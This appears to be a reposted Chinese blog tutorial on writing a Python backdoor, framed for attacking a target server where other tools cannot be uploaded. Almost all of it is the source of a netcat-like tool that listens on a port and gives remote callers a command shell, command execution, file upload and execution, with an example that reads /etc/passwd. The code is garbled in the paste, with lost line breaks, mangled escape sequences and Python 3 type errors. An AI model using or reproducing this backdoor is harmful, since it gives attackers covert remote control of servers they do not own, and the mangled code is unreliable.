Python入门:python自制后门程序

2017-01-13 10:57:30来源:csdn作者:foryouslgme人点击

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应该场景:

1、当目标服务器上有python环境(一般linux系统都会预安装) 2、目标服务器上不允许安装其它工具(因为要留后门或进一步攻击内容就需要上传各种工具)

#python3.5
import sys
import socket
import getopt
import threading
import subprocess#全局参数初始化
listen= False
command = False
upload= False
execute = ""
target= ""
upload_destination= ""
port= 0def usage():
print("BHP Net Tool")
print("Usage: bhpnet.py -t target_host -p port")
print("-l --listen- listen on [host]:[port] for"
" incoming connections")
print("-e --execute=file_to_run - execute the given file upon"
" receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination- upon receiving connection upload a"
" file and write to [destination]")
print("Examples:")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=://target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=/"cat /etc/passwd/"")
print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)def main():
global listen
global port
global execute
global command
global upload_destination
global targetif not len(sys.argv[1:]):
usage()
print("--------")
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print(str(err))
usage()for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e","--execute"):
execute = a
elif o in ("-c","--commandshell"):
command = True
elif o in ("-u","--upload"):
upload_destination = a
elif o in ("-t","--target"):
target = a
elif o in ("-p","--port"):
port = int(a)
else:
assert False,"Unhandled Option"if not listen and len(target) and port > 0:
buffer = sys.stdin.read()client_sender(buffer)if listen:
server_loop()def client_sender(buffer):
client = socket.socket()
try:
client.connect((target,port))if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ""while recv_len:
data = client.recv(1024)
recv_len = len(data)
response += dataif recv_len < 4096:
break
print(response)
buffer = input("")
buffer += "/n"client.send(buffer)
except:
print("[*] Exception! Exiting.")client.close()def server_loop():
global targetif not len(target):
target = "0.0.0.0"server = socket.socket()
server.bind((target,port))server.listen(5)while True:
client_socket,addr = server.accept()client_thred = threading.Thread(target=client_handler,args=(client_socket,))
client_thred.start()def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Falsed to execute command./r/n"
return outputdef client_handler(client_socket):
global upload
global execute
global commandif len(upload_destination):
file_buffer = ""while True:
data = client_socket.recv(1024)if not data:
break
else:
file_buffer += datatry:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()client_socket.send("Successfully saved file to %s/r/n" % upload_destination)
except:
client_socket.send("Failed to save file to %s/r/n" % upload_destination)if len(execute):
output = run_command(execute)
client_socket.send(output)if command:
while True:
client_socket.send("BHP:#> ".encode())cmd_buffer = ""
while "/n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024).decode()
response = run_command(cmd_buffer.encode())
client_socket.send(response)main()
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